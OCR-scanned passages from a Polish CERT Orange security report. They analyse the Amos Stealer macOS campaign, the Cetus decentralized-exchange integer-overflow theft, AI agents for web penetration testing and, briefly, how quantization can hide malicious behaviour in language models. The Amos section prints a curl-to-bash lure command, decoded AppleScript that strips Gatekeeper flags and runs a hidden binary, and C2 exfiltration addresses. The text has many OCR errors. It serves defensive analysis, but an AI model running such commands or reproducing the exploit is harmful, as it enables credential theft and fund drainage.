Funkcja send_data(0) przesyta dane na zdalny serwer,
a nastepnie usuwa tymczasowe pliki i katalogi w /tmp/.

iwo_graj@kali: ~/Desktop/Amos

File Actions Edit View Help

— -[~/Desktop/Amos
cat amos.sh Imore

do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /tmp/out.z



http://cert.orange.pl

Sekcja kodu odpowiedzialna za przesytanie wykra-
dzionych danych:

Funkcja send_data wysyta dane zapisane w pli-
ku ZIP (/tmp/out.zip) na zdalny serwer o adresie
http://81.19.135.54/joinsystem.

Autoryzacja odbywa sie za pomoca nagtéwkoéw
zawierajacych klucz uzytkownika (user) i identyfikator
wersji (BuildID).

Préby przestania danych sg ponawiane maksymalnie
40 razy w przypadku btedéw, z opdZnieniem miedzy
prébami.
iwo_graj@kali: ~/Desktop/Amos
File Actions Edit View Help

~/Desktop/Amos

-[~/Desktop/Amos ]

0 + 1000))\"

Druga z kampanii Amosa mozna byto zaobserwowac
w lutym 2025 roku.

Atak polegat na dystrybuciji ztosliwego oprogramowa-
nia Amos Stealer za posrednictwem fatszywej strony
internetowej, podszywajacej sie pod platforme
DeepSeek Al. Rozpoczynat sie od standardowej, w tym
przypadku kampanii malvertisingowej, kierujacej uzyt-
kownikéw na domene deepseek.exploreio[.]net.

deepseek

We were unnable to establish a secured connection.

Please login using our desktop or mobile app to verify your browser.

& Download for Mac 0S 88 Download for Windows

Strona byta kopig platformy DeepSeek Al. Po klik-
nieciu przycisku ,,Download for Mac OS” (Pobierz

dla Mac OS) uzytkownik pobierat plik DMG o nazwie
DeepSeek_v.[0-9].[0-9]{02}.dmg z domeny
manyanshe[.Jcom.

Po zamontowaniu DMG w systemie uzytkownik byt
proszony o uruchomienie ztosliwego skryptu powtoki,
podszywajgcego sie pod pakiet aplikacji DeepSeek.

Installation Instructions For MacOS
1. First, you need to install the required system update. Open Terminal
application on your Mac (you can find it in Applications -> Utilities -> Terminal).

2. Copy and paste the following command into Terminal

fbin/bash -c "$(curl -fsSL https://jobstreet-
storage.com/install.sh)”

3. Press Enter and provide your administrator password when prompted

4. Wait for the installation process to complete. This may take a few minutes.

5. Once completed, you can proceed with installing the software.

Pobierany plik install.sh zakodowany byt base64
i wygladat nastepujaco:

Fite Actions Edit View Help

~fesktop

Skrypt definiuje trzy zmienne (wDwyQrpH, IxOudLSd,
SkkdUOuJ), ktére zawieraja fragmenty zakodowane-
go kodu w Base64. Potem skleja je w jedna, dtugg
zmienng funcname, a nastepnie uzywa polecenia
base64 — decode, aby przywrdécic¢ oryginalna funkcje.
Na koricu uruchamia jg za pomoca bash -c.

Po zdekodowaniu wygladat on nieco bardziej
przejrzyscie:

iwo_groj@kali: ~/Desktopibase
File Actions Edit View Help

~/Desktop/base
cat install.sh

to list disks

=" then

Lum tupVolume & */"

6 quoted form of LmpExecutablePath

script "cp " & quoted form of executablePath 6 " * & quoted form of tmpExecutablePath

Seript "xatte -c © & quoted form of tmpExecutablePath
script "chmod x "

& quoted form of tmpExecutablePath

~/Desktop/base



Snajper ukryty w Google. Amos atakuje przy wsparciu SEO Poisoning

Co robit Amos Stealer
w kolejnych krokach?

Powyzszy kod na poczatku wyszukiwat woluminy i pobierat
liste zamontowanych dyskow.

osascript -e ‘on run
try
set volumelist to list disks
end try

set setupVolume to «»

try

Nastepnie sprawdzat obecno$¢ woluminu DeepSeek, prze-
szukujgc liste wolumindéw i sprawdzajgc, czy istnieje naped
o nazwie DeepSeek. Jesli tak, przypisywat jego nazwe do
zmiennej setupVolume.

repeat with vol in volumelist
if vol contains “DeepSeek” then
set setupVolume to vol
exit repeat
end if

end repeat

W kolejnym kroku kopiowat plik wykonywalny, tworzac
$ciezke do pliku .DeepSeek na zamontowanym woluminie
oraz $ciezke /tmp/.DeepSeek.

set
set
set

scriptDir to “/Volumes/” & setupVolume & “/”
executableName to “.DeepSeek”
executablePath to scriptDir & executableName

set tmpExecutablePath to “/tmp/” & executableName

Usuwat stary plik /tmp/.DeepSeek.

do shell script “rm -f “ & quoted form of tmpExe-
cutablePath

Kopiowat .DeepSeek z zamontowanego woluminu do /tmp/.

do shell script “cp “ & quoted form of executable-
Path & “ “ & quoted form of tmpExecutablePath

Usuwat atrybuty zabezpieczen (Gatekeeper) za pomoca
xattr -c.

do shell script “xattr -c “ & quoted form of tmpExe-
cutablePath

Nastepnie nadawat uprawnienia do wykonywania (chmod
+X)

do shell script “chmod +x “ & quoted form of tmpExe-
cutablePath

oraz uruchamiat plik /tmp/.DeepSeek.
do shell script quoted form of tmpExecutablePath

Analizowana wersja Amos Stealera posiadata réwniez
mechanizmy antydebuggingowe. Sprawdzata obecnosé

debuggera za pomoca funkcji ptrace(), a nastepnie uzywa-
ta polecenia sysctl do inspekc;ji flagi P_TRACED w statusie
procesu. Jesli nazwa uzytkownika odpowiadata typowym
aliasom, takim jak ,maria” czy ,jackiemac”, malware kon-
czyta swoje dziatanie:

osascript -e ‘if (short user name of (system info))
is “maria” or (short user name of (system info)) is
“run” or (short user name of (system info)) is “jac-
kiemac” or (short user name of (system info)) is

“bruno” then error number -1’
a nastepnie uruchamiata polecenie:

disown; pkill Terminal
by odtgczy¢ sie od procesu nadrzednego i usunaé slady
swojej obecnosci.

Amos Stealer zaprojektowany jest gtéwnie do gromadzenia
danych z:

m przegladarek internetowych (pliki cookie, hasta i zapisa-
ne karty kredytowe z przegladarek opartych na silniku
Chromium),

m portfeli kryptowalutowych (petna lista na koncu tekstu),

m systemowych pekdéw kluczy z bazy danych (jak /Library/
Keychains/login.keychain-db),

m plikdw uzytkownika (dokument z rozszerzeniami *.txt,
*.pdf, *.wallet)

Wykradzione dane byty gromadzone w jednym pliku

i eksfiltrowane za pomoca polecen curl na serwer C2 pod
adresem https://82.115.223.9/contact. Adres ten powigza-
ny jest réwniez z innymi kampaniami malware typu
infostealer, takimi jak wczesniejsza kampania Redline, czy
tez stelear AURORA, ktéry znajdowat sie w 2023 roku pod
adresem http://82.115.223.9/auth.

Podsumowanie

cert.orange.pl
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4 Jak okradziono

zdecentralizowana
gietde

Adam Pichlak

Jak kosztowna moze okazaé sie nieuwaga przy tworzeniu kodu?
W przypadku, gdy chodzi o gietde kryptowalut, niedoktadnos¢é
moze kosztowac nawet kilkaset milionéw dolarow!


http://cert.orange.pl

Wraz z powstaniem sieci blockchain, realizujacych
smart kontrakty, pojawity sie réwniez zdecentrali-
zowane gietdy (DEX — Decentralized Exchange). To
wtasnie na smart kontraktach opiera sie logika tych
gietd. Sieci, takie jak: Ethereum, Solana czy omawia-
ny w tym artykule SUI, zabezpieczajg realizacje¢ tych
kontraktéw tak, by kod zawarty w kontrakcie moégt
juz w sposob automatyczny wykonaé powierzone mu
zadania. Jak sie okazuje, kazdy kij ma dwa korice.
Zle napisany kod moze doprowadzi¢ do kompletnej
porazki, czyli w przypadku zdecentralizowanych gietd
utraty milionéw, a czasem nawet setek milionéw dola-
réw. Tak sie zdarzyto w maju 2025 roku w przypadku
funkcjonujacej na blockchainie SUI zdecentralizowa-
nej gietdy Cetus.

Aby zrozumie¢ przypadek utraty srodkow gietdy
Cetus funkcjonujgcej na sieci SUI, konieczne jest
wskazanie kilku aspektéw i réznic pomiedzy gietdami
centralnymi (CEX) a zdecentralizowanymi (DEX).

Gietdy CEX i DEX réznig sie w wielu aspektach, ale na
potrzeby artykutu poruszymy ten kluczowy dla nasze-
go przypadku aspekt — obstuge zlecen.

W tradycyjnych, scentralizowanych gietdach cena po-
dyktowana jest zleceniami, ktére wystawiaja klienci.
Przyktad:

SPRZEDAZ

Sprzedajgcy wystawiajg oferty sprzedazy, kupujacy
oferty kupna. Obie strony robig to bez optat. Gdy
oferta kupna/sprzedazy pokryje sie z istniejgcg ofertg
w arkuszu zlecen (orderbook) ostateczna cena waloru
wynika z ostatniej zrealizowanej oferty z arkusza
(dopiero tu pojawia sie zysk gietdy — wynika z optaty
ze zrealizowanej transakcji). Na przyktad, wystawiajgc
oferte kupna 2 SUI, po kazdej cenie pokryjemy 1.5
SUI kosztujace 30 0,5 z ceny 31, wtedy cena waloru
na naszej gietdzie wyniesie 31, a oferta 2 SUI po ce-
nie 31 zmieni si¢ na 1,5 SUI kosztujgce 31.

Gietdy zdecentralizowane, oparte na smart kontrak-
tach, dziatajg gtéwnie w nieco inny sposéb niz gietdy
CEX (gtoéwnie, bo zdarzajg sie gietdy z arkuszami
zlecen dziatajgce na sieciach szybkich i tanich, np.
Solana). Wystawienie oferty, anulowanie jej czy mody-

fikacja wigzataby sie z duzymi kosztami w zaleznosci
od uzywanej platformy — np. w Ethereum przy aktual-
nej cenie mogtoby by¢ to kilkanascie dolaréw i wiece;.
Co za tym idzie, czestotliwos¢ aktualizacji orderbo-
oka, a zatem i ptynnos$¢, bytaby mocno ograniczona.
Dlatego powstat protokét AMM (Automated Market
Maker). W jego ramach wprowadzone zostaty pule
ptynnosci — kazdy moze zostaé LP (Liqudity Provider),
zdeponowac pare walutowg i zarabia¢ na optatach
zwigzanych z obrotem tej pary. W ten sposéb gietdzie
dostarczana jest ptynnos¢ (zdeponowane $rodki). Ale
jak jest ustalana cena, skoro nie ma tu klasycznego
arkusza zlecen? Przy kazdej zamianie (swapie) tokenu
DEX dba o to, by proporcja zdeponowanych srodkéw
sie zgadzata (stata k byta taka sama), a cene repre-
zentuje ilos¢ srodkéw y do x:

k=x"y

X — ilo$¢ tokendw A w puli (np. SUI)
y — ilo$¢ tokendw B w puli (np. USDC)
k — stafa

Tym samym, jesli w puli jest 100 SUI i 100 USDC

(k to 10000) i zaktadajac, ze 1 SUI to 1 USDC (dla
uproszczenia), to przy zakupie (swapie) 50 SUI w puli
zostanie 50 SUI i 200 USDC. Stata k bedzie taka
sama jak wczesniej (10000), cena wynosi juz 4 USDC
za 1 SUI (200/50), a realna cena przy zakupie to

2 USDC (zaptacono 100 USDC, zatem 100/50). Dalej
cata ,prace” wykonaja arbitrazysci, ktérzy bardzo
chetnie wykorzystajg okazje, gdy zauwazg atrakcyjng
cene SUI/USDC. Tym samym zamienig wiecej SUI

na rzecz USDC, jesli bedzie to dla nich korzystne.
Zdeponowane srodki beda sie przesuwac jak na
wykresie.

ilos¢
tokenu y

dawna
pozycja

nowa pozycja

ilos¢ tokenu x

Przeskok ilosci zdeponowanych srodkéw przed zmiana i po zamianie (swa-
pie) jednego tokenu na drugi — ilos¢ tokenu x wzrosta, a tokenu y zmalafa.

AMM ma bardzo istotng wade: $rodki zdeponowane
przez LP rozktadajg sie na caty zakres cen (od 0 do
nieskonczonosci), przez co znaczna czes¢ srodkéw



nie jest wykorzystywana, a efektywnos¢ kapitatu jest
niska — swapy powoduja wieksza zmiane cen (slippage).
Problem ten rozwigzuje CLMM (Concentrated Liquidity
Market Maker), gdzie LP moze zdecydowac, w ktérym
zakresie cen (y/x) jego ptynnos$¢ moze by¢ wykorzy-
stywana przez DEX-a (i rowniez zarabiaé tylko w tym
zakresie). Daje to mozliwo$¢ skondensowania kapitatu
w konkretnych przedziatach cenowych, zamiast do nie-
skoriczonosci jak w przypadku AMM. W CLMM cena nie
jest ciagta, a reprezentowana przez ,ticki”, czyli logaryt-
miczny krok ceny:

price = 1.0001tick

Przy zamianie tokenéw, gdy skonczy sie ptynnosé w da-
nym zakresie (przy swapie), nastepuje przeskok do kolej-
nego ticka (ceny) do momentu osiggniecia okreslonej ilosci
$rodkéw lub maksymalnej ceny wskazanej przez klienta
(sqrtPriceLimit).

LP, deponujac $rodki, decyduje, w ktdrych tickach (cenie)
jego ptynnos¢ ,pracuje” (proporcja zdeponowanej pary
walutowej jest narzucana przez DEX-a tak, by nie za-
chwiaé ceny, udostepniajgc ptynnosg).

Wzér na obliczenie ilosci tokenu na podstawie podane;j
ptynnosci wyglada jak ponizej:

L - ptynnosé

A —ilos¢ tokenu x

PL — cena z nizszego zakresu tick
PU - cena z wyzszego zakresu tick

DEX-y udostepniajg mozliwo$¢ udzielenia pozyczek. | o ile
w przypadku zwyktych pozyczek konieczne jest zdepono-
wanie okreslonej ilosci innego tokenu (o wiekszej wartosci
niz sama pozyczka), o tyle tutaj jest mozliwos¢ pozyczki
btyskawicznej. Jedynym kosztem jest koszt transakcji plus
ewentualna mata optata, ale jest tez pewien bardzo istotny
warunek. Pozyczkobiorca musi obréci¢ pozyczonymi
tokenami naraz. Tzn. musi zaciggnaé pozyczke, wykonaé
jakas optacalng dla niego akcje i zwréci¢ pozyczke. Gietda
zaakceptuje jag tylko wtedy, gdy zostanie zwrécona w jed-
nej transakcji.

Ponizej znajduje sie funkcja, do ktorej trafia kod odpowie-
dzialny za dodanie ptynnosci. Funkcja add_liquidity osta-

tecznie wywotuje funkcje get_delta_a, ktéra pokazuje, ile
$rodkéw powinno sie pojawi¢ przy zadeklarowanej przez
LP ptynnosci:

public fun get delta a(
sqrt price 0: ul2s,
sqrt_price 1: ul2s,

liquidity: ul2sg,
round up: bool,
): ued {

let sgrt price diff = if (sqrt price 0 > sqrt_
price 1) {

sqrt_price 0 - sqgrt price 1

} else {
sqrt_price 1 - sqrt price 0

}i

if (sgrt _price diff == |l liquidity == 0) {
return 0O

}i

let (numberator, overflowing) = math u256::chec-

ked shlw(

full math ul28::full mul (liquidity, sqgrt_
price diff),
) i
if (overflowing) {
abort EMULTIPLICATION OVERFLOW
}i
let denominator = full math ul28::full mul (sgrt_
price 0, sqrt price 1);
let quotient = math u256::div_round (numberator,
denominator, round up);
assert! (quotient <= std::u64::max value! () as
u256, EAMOUNT CAST TO U64 OVERFLOW) ;
(quotient as u64)

}

Najwazniejszg funkcja jest tutaj check_shlw. To w niej jest
podatnos¢ - przepetnienie liczby catkowitej:

public fun checked shlw(n: u256): (u256,
let mask = OxfEFFFEFEFAFFf << 192;
if (n > mask) {
(0, true)
} else {
((n << 64),

bool) {

false)

Funkcja ta jest odpowiedzialna za zwigkszenie precyzji
poprzez przesuniecie w lewo o 64 bity (kontrakt nie uzywa
liczb zmiennoprzecinkowych, obliczenia wykonywane sg
na liczbach catkowitych bez znaku), czyli wartoscig zwra-
cang jest argument przesuniety o 64 bity w lewo lub

0 wraz z informacja, czy nastapito przepetnienie. Spraw-
dzenie jest btedne ze wzgledu na to, ze Oxffffffffffffffff

<< 192 to goérna wartosé liczby 256-bitowej. Tymczasem
kod powinien upewnic¢ sie, ze argument nie jest liczba,
ktéra miesci sie w najstarszych 64 bitach, aby ostatecz-
na warto$¢ po przesunieciu nie zostata ucieta. Poprawne
sprawdzenie wystgpitoby przy poréwnaniu argumentu

z wartoscig 1 << 192. Wtedy, jesli argument jest réwny
lub wiekszy od tej wartosci, funkcja checked_shlw zwréci
zmienng overflow jako true, w efekcie czego proces doda-
nia ptynnosci zakonczytby sie niepowodzeniem.

Wynik obliczerh w funkcji get_delta_w przypadku istnie-
nia podatnosci wyniesie 1, poniewaz licznik (numberator)
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bedzie mniejszy (bo przepetniony — ucieta wartosc)
od mianownika (denominator), co w konsekwencji

z funkcja div_round i zaokragleniem (round_up) na
true da wynik 1.

Konsekwencje? Wystarczytoby, zeby atakujacy zde-

ponowat tylko jedng jednostke tokenu jako dostawca
ptynnosci (LP), aby osiggna¢ ogromne ilosci ptynnosci

z perspektywy kontraktu, a nastepnie méc zwracaé
rzekoma wczesniej wprowadzong ptynnosé i w ten

sam sposob drenowac pule, jedng po drugiej (haSUI/

SuUl, SCA/USDC itd.).

W dniu wystapienia ataku deweloperzy wdrozyli
poprawke:

diff --git a/sui/sources/math u256.move b/sui/
sources/math u256.move
index 01d1412..25bfd30 100644
--- a/sui/sources/math u256.move
+++ b/sui/sources/math_u256.move
@@ -16,7 +16,7 @@ module integer mate::math
u256 {
}

public fun checked shlw(n: u256): (u256,
bool
- let mask = OxffFEFEffefef << 192;

+ let mask = 1 << 192;
if (n > mask) {
(0, true)
} else {

diff --git a/sui/sources/math u256.move b/sui/
sources/math u256.move

index 25bfd30..2775033 100644

--- a/sui/sources/math_u256.move

+++ b/sui/sources/math u256.move

@@ -17,7 +17,7 @Q module integer mate::math
u256 {

public fun checked shlw(n: u256): (u256,
bool) {
let mask = 1 << 192;
= if (n > mask) {
if (n >= mask) {
(0, true)
} else {

((n << 64), false)

Ponizej lista zdarzen wygenerowana dla pierwszej

puli, ktéra zaatakowano - haSUI/SUI:

Transaction Block &

DVHG3)

Atakujacy generuje SwapEvent. W rzeczywistosci
jest to flash_swap, czyli jedna z form wspomnianej
wczesniej pozyczki btyskawicznej, ktérg musi
sptaci¢ w jednym z wyzej wymienionych krokéw

— podczas jednej transakcji. Atakujacy pozycza SUI
i musi odda¢ odpowiednia ilos¢ haSUI.

Pozyczona ilos¢ to amount_out (SUI), kwota do oddania to amount_in
(haSuUl).

Otwarcie pozycji. Potrzebuje oddzielnego wywota-
nia, by stworzy¢ NFT, w ktérym zapisze jej szcze-
goty, m.in. dolny i gérny tick.

Tu wykonuje sig przepetnienie. Atakujacy deponuje
jedna jednostke tokenu i otrzymuje ogromne ilosci
ptynnosci:

Odpowiednio dobrane parametry liquidity i tick dzieki
przepetnieniu dajg mozliwos¢ wptacenia tylko jednej
jednostki tokenu — amount_a=1.

RemovelLiquidity. Atakujgcy wybiera taka ilos¢
tokenu A, aby w pierwszej kolejnosci sptaci¢ wcze-
$niejsza pozyczke:

Na tym etapie atakujgcy jest juz w posiadaniu
5,765,124.790450508 SUI, poniewaz sptacit pozycz-
ke, wybierajgc 10,024,321.275017081 haSUI z puli.

RemovelLiquidity. Atakujgcy pobiera 1 haSUI na
rzecz sptaty add_liquidity:




Jak okradziono zdecentralizowang gietde Cetus 123

6) RemovelLiquidity. Atakujacy ,wycigga” z puli
10,024,321.275017081 haSUl:

Przestepca na tej jednej puli zdobyt tgcznie w przyblizeniu
5765125 SUI i 10024321 haSUI.

Podsumowanie
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Testy
bezpieczenstwa
aplikacji
webowych

Piotr Zarzycki

Problem bezpieczenstwa aplikacji webowych jest jednym z kluczo-
wych aspektéw zapewnienia cyberbezpieczenstwa w kazdej organiza-
cji. O tym, jak katastrofalne w skutkach moze by¢ wystawienie podat-
nej aplikacji do internetu, nie trzeba nikogo przekonywac. Regularne
skany podatnosci i testy penetracyjne stanowig istotny element prak-
tyk zapewnienia cyberbezpieczenstwa. Réwnolegle swoje ,,niezamé-
wione testy penetracyjne” prowadzg cyberprzestepcy. Nie potrzebuja
na to zgody ani zakresu badania, a dzieki automatyzacji moga masowo
skanowac i atakowac wiele celdw jednoczesnie, i to nie tylko w naszej
infrastrukturze, ale w catej sieci.
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Jak z tego pojedynku wyjs¢ z tarcza, a nie na tarczy?
Nie ma jednej, ztotej metody. Testy penetracyjne sg
zadaniem ztozonym i nigdy nie gwarantuja wykrycia
wszystkich podatnosci — ani w kodzie, ani w konfigu-
racji. Kluczowe jest jak najszersze i gtebokie pokrycie
testami nie tylko endpointéw i parametréw, lecz takze
rél uzytkownikoéw, krytycznych przeptywoéw biznesowych
oraz integracji. Nigdy nie wiadomo, gdzie ukrywa sie
btad. Automatyczne skanery, przy odpowiednio zdefinio-
wanym zakresie testéw i odpowiednim procesie odkry-
wania powierzchni ataku, sg w stanie zapewni¢ bardzo
przyzwoite pokrycie testami. Niestety, nie sg one jednak
doskonate, majg ograniczenia, ktére utrudniajg wykrywa-
nie czesci klas podatnosci, zwtaszcza tych zwigzanych

z logika biznesowa. Dlatego nie nalezy opiera¢ oceny
bezpieczenstwa wytgcznie na ich wynikach. Taki test
warto traktowac¢ jako minimum — niezbedny fundament,
na ktérym buduje sie dalsza, wielowarstwowg strategie
bezpieczenstwa aplikacji webowych.

Kolejnym, bardziej zaawansowanym krokiem jest analiza
whiteboxowa webaplikacji. Zazwyczaj zapewnia ona wyz-
sza wykrywalnos$¢ podatnosci niz testy black-box, ponie-
waz osoba testujgca ma wglad w kod zrédtowy. Osoba
testujgca jest w stanie, przynajmniej teoretycznie i przy od-
powiedniej biegtosci, odkry¢ wszystkie podatnosci w samej
webaplikacji. Ma dostep do kodu aplikacji, bez problemu
moze zlokalizowac wszystkie miejsca, w ktérych przyjmo-
wany jest input od uzytkownika, wszystkie miejsca zapisu
do bazy danych, wykonywania polecen itp. Nastepnie moze
sprawdzi¢, czy sa w odpowiedni sposéb zabezpieczone.

Audyty white-box sg pracochtonne, czasochtonne

i kosztowne — nowoczesne systemy czesto obejmuja
tysigce plikéw oraz miliony linii kodu. Dla cztowieka to
skala przyttaczajgca, dlatego w praktyce niezbedne jest
wsparcie automatyzacja i priorytetyzacja ryzyka.

Agenci Al jako niestrudzona
sita robocza

Pomyst wykorzystania LLM-a do wsparcia testow
aplikacji webowych dojrzewat we mnie od dtuzszego

czasu. Jak to czesto bywa, najwieksza motywacje
dat sztywny deadline — w tym przypadku konferencja
»,0Oh My Hack”, na ktérej razem z Marcinem Dudkiem
z CERT Polska opowiedziatem o swoich doswiad-
czeniach z agentami Al. Wystgpienie zostato bardzo
dobrze przyjete i uznane za najlepsze na Sciezce
poswieconej Al.

Agenta Al mozna poréwnac¢ do Terminatora. Nie $pi, nie
meczy sig, nie da sig z nim targowag, nie czuje litosci ani
skruchy. Moze pracowac 24/7, nie straci koncentraciji

i nie bedzie znuzony. Oprdcz tego pracuje nieporéw-
nanie szybciej niz nawet najlepszy pentester. Czy jest
lepszy w analizie kodu? OdpowiedzZ na to pytanie nie
jest jednoznaczna. Skutecznos¢ agenta bywa nieréwna

i zalezy m.in.: od jakosci promptu, dostepnych narzedzi,
kompletnosci kontekstu oraz sposobu walidacji wyni-
kéw. Potrafi wykry¢ subtelny btad wynikajacy z tancucha
zaleznosci, by chwile pézniej zgtosi¢ oczywisty false
positive.

Prompt

Najwigkszy bfad, z jakim bardzo czgsto sig¢ spotykam

i jaki jednoczes$nie sam bardzo czesto popetniatem, to
traktowanie agenta Al jako ogdlnego, magicznego tworu,
ktéry sam wszystko zrobi. Niestety, polecenie ,masz tu
kod Zrédtowy — zréb pentest” nie jest dobrym pomystem
i zwykle nie daje dobrych rezultatéw. Z moich testéw
wynika, ze najlepiej sprawdza sie podejscie precyzyjne

i ustrukturyzowane: im jasniej okreslimy cel, zakres i kry-
teria wyniku, tym wyzsza jest jako$¢é odpowiedzi. Prompt
moze by¢ rozbudowany, ale powinien by¢ konkretny.
Warto zawrze¢ w nim minimalnie:

m rolg agenta,

= doktadne zadanie i zakres analizy,

m oczekiwany format wyjscia (np. JSON z okreslonym
schematem),

m ograniczenia (czego agent ma nie robic),

m instrukcje, jak eliminowaé btedy false positive.

Warto pamietaé, ze uzycie tego samego promptu, nawet
z tym samym modelem, moze daé rézne rezultaty.

Petna sala podczas ,,OMH 2025”



Testy bezpieczenstwa aplikacji webowych z uzyciem agentow Al

Wybér modelu

Kluczowy dla powodzenia testéw jest wyboér odpowiednie-
go modelu i sposéb jego wdrozenia. Musimy sie poruszaé
w ramach dopuszczonych przez naszg organizacje polityk
uzycia LLM-6w. Najczesciej rozwazamy dwa podejscia: mo-
dele komercyjne dostepne w chmurze oraz modele otwarte,
uruchamiane lokalnie (on-prem). Oba podejscia majg wady

i zalety. Ironicznie, to, co jest gtéwna zaletg jednego typu
modeli, jest gtéwng wada drugiego typu i odwrotnie. Modele
zamkniete przetwarzajg wszystkie dane, ktére do nich
wysytamy we wtasnej infrastrukturze. Moge zaryzykowac
twierdzenie, ze niekontrolowane wysytanie wewnetrznych
firmowych danych do chmury praktycznie zawsze bedzie
niezgodne z regulacjami wewnetrznymi przedsiebiorstwa.
Dlatego uzycie tego podejscia wymaga dojrzatych poli-

tyk bezpieczenstwa poprzedzonych analizami, co i w jaki
sposdb mozna do chmury wystaé. Z kolei modele lokalne
pozwalajg przetwarza¢ dane wewnatrz infrastruktury firmy,
co upraszcza kontrole nad poufnoscia.

Niestety, jezeli chodzi o jako$¢ wykonywania zadan, to
modele lokalne pozostajg daleko w tyle za modelami lideréw,
takich jak: OpenAl, Google czy Anthropic. Zaden z lokalnie
uruchamianych modeli, ktére testowatem, nie byt w stanie
nawet zblizy¢ sie do modeli komercyjnych. Nie oznacza to,

ze sg bezuzyteczne, dobrze sprawdzajg sie przy wykrywaniu
prostszych, bardziej oczywistych probleméw i moga stanowic
wartosciowg warstwe w procesie testowym. Przy podatno-
$ciach wieloetapowych i zaleznych od kontekstu biznesowe-
go ich ograniczenia stajg sie jednak wyrazne.

Eliminacja false-positive

Do tematu analizy kodu za pomocg Al podchodzito wielu
i wielu tez rezygnowato ze wzgledu na przyttaczajacg ilos¢
false-positive. Z moich obserwacji wynika, ze jest to spo-
wodowane przewaznie nieoptymalnymi promptami i ztym

doborem modelu. Jednak nawet najnowoczesniejsze modele

i najbardziej rozbudowane prompty potrafig da¢ wynik false-
-positive.

Jak tego unikngé? Jest kilka praktycznych podejsé, ktére
sie doskonale sprawdzajg. Chyba najciekawsze z nich,
ktére oméwit Marcin Dudek, polega na uczynieniu z pen-
testu zawodow CTF i poproszenie agenta Al o rozwigzanie
zadania. Polega to na umieszczeniu flagi w bazie SQL lub
w systemie plikow. Jezeli agentowi uda sig¢ odczytaé flage,
to znaczy, ze musiat to zrobi¢, wykorzystujgc faktyczng
podatnos¢ w systemie, co w praktyce eliminuje mozliwos¢
false-positive.

Drugie podejscie, ktére stosowali$my, polegato na wyma-
ganiu od agenta:

m Oopisu podatnosci,

m wskazania podatnego fragmentu kodu,

m przygotowania PoC,

m dostarczenia polecen curl, ktére pozwalajg odtworzy¢ pro-
blem.

Taki format raportu istotnie poprawiat jako$¢ wynikow i uta-
twiat ich niezalezng weryfikacje. W praktyce najlepiej dziata
potaczenie: dobrego promptu, wiasciwego modelu oraz
obowigzkowej walidacji kazdej podatnosci przez reproduko-
walny PoC.

Automatyzacja

Jesli chcemy testowac kilka aplikacji, automatyzacja cate-
go procesu staje sie koniecznoscig. Regularne testy nawet
dla tej samej aplikacji moga dawac rézne wyniki. Testy
pokazaty, ze ta sama podatnos¢ nie jest wykrywana za
kazdym razem, mimo uzycia tego samego promptu i tego
samego modelu.

To efekt niedeterministycznej natury modeli: pojedynczy
wynik nie powinien by¢ traktowany jako ostateczny. W moich
testach proste SQL injection w rozbudowanej aplikacji zostato
wykryte 97 razy na 100 uruchomien. Natomiast bardziej
ztozona podatnosc¢ byta wykryta juz tylko 52 razy na 100
préb. Takie réznice pokazuja, ze wiarygodna ocena wymaga
przeprowadzenia wielu testéw.

Konieczne jest prowadzenie ciggtego skanowania i monitorin-
gu wynikow. W moim przypadku automatyzacje zrealizowa-
tem z uzyciem IDE Cursor, ktére oferuje tryb CLI. Pozwolito to
oskryptowac proces w Pythonie:

m automatyczne pobieranie zrédet,

m pobieranie adresu url do skanowania,
m uruchomienie testu,

m analiza i korelacja wynikow.

Podsumowanie
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Ukryte zagrozenia w LLM-ach ﬁ

Ukryte
- zagrozenia
w LLM-ach

// Pawet Lefelbajn

W ostatnich latach obserwujemy rosngce zainteresowanie technikami
optymalizacji duzych modeli jezykowych (Large Language Models,
LLM) przez Fine-tuning' — z metodami, takimi jak: LORA (Low-Rank
Adaptation), QLoRA czy Parameter-Efficient Fine-Tuning (PEFT)

- pozwalajgcymi na dostosowanie modeli do specyficznych zadan
przy znacznie nizszych kosztach niz tradycyjne trenowanie od zera.

Réwnolegle popularnosé zyskuje kwantyzacja jako jedna z kluczowych
metod redukcji rozmiaru modeli. Umozliwia ona organizacjom wdra-
zanie zaawansowanych rozwigzan Al przy ograniczonych zasobach
sprzetowych.

" Proces dostrajania juz wytrenowanego modelu jezykowego na konkretnym zadaniu lub zbiorze danych.
Pozwala na modyfikacje zachowania modelu bez koniecznosci trenowania go od zera.

cert.orange.pl
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Wspding zaletg obu technik jest fakt, ze moga by¢ wyko-
nywane lokalnie przez uzytkownikéw koncowych — bez
potrzeby dostepu do zaawansowanej infrastruktury czy
specijalistycznej wiedzy. Niestety (jak to zwykle bywa),
wprowadza to jednoczesnie nowe wektory zagrozen
bezpieczenstwa. Uzytkownicy moga modyfikowac¢ modele
w sposob niekontrolowany, czesto nie do korica zdajac
sobie sprawe z tego, co robig, a to otwiera nowe mozliwo-
Sci ztosliwych dziatan.

W ostatnim czasie opublikowano kilka prac badawczych,
ktére ujawnity potencjalne zagrozenie zwigzane z lokal-

na modyfikacja modeli, w tym z procesem kwantyzaciji.
Okazuje sie, ze ta pozornie nieszkodliwa operacja moze
by¢ wykorzystana do ukrywania ztosliwego zachowania

w modelach, ktére w swojej oryginalnej postaci wydaja sie
dziata¢ prawidtowo.

Na czym polega kwantyzacja
modelu?

Kwantyzacja jest technika polegajaca na mapowaniu
wartosci o wysokiej precyzji na wartosci o nizszej pre-
cyzji. W kontekscie duzych modeli jezykowych kwanty-
zacja oznacza modyfikacje precyzji wag (weights) oraz
aktywaciji (activations). Efektem jest znaczne zmniejsze-
nie rozmiaru modelu kosztem mozliwosci i doktadnosci
systemu. W wielu przypadkach wyniki moga by¢ po-
réwnywalne przy znacznie nizszej precyzji reprezentaciji
danych. Kwantyzacja stanowi zatem pewnego rodzaju
kompromis pomiedzy doktadnoscia modelu a kosztem
jego wdrozenia.

Potrzeba takich redukcji wynika z systematycznego
wzrostu rozmiaréw modeli jezykowych. Wspétczesne
modele komercyjne (GPT-5, Claude 4, Gemini Ultra) czy
open-source (Llama, Qwen, Mistral, Bielik) zawierajg od
kilku do kilkuset miliardéow parametréw. Wzrost ten
przektada sie na znaczgce wymagania infrastrukturalne

— wdrozenie i uruchomienie takich modeli wymaga doste-
pu do zaawansowanych jednostek GPU o duzej pamieci,
co generuje wysokie koszty obliczeniowe i energetyczne.

Skad takie rozmiary? Modele po publikacji sa czesto prze-
chowywane w doktadniejszych precyzjach. Choéby w petnej
precyzji FP32 (32-bitowe liczby zmiennoprzecinkowe), po-
fowicznej precyzji FP16 (16-bitowe liczby zmiennoprzecin-
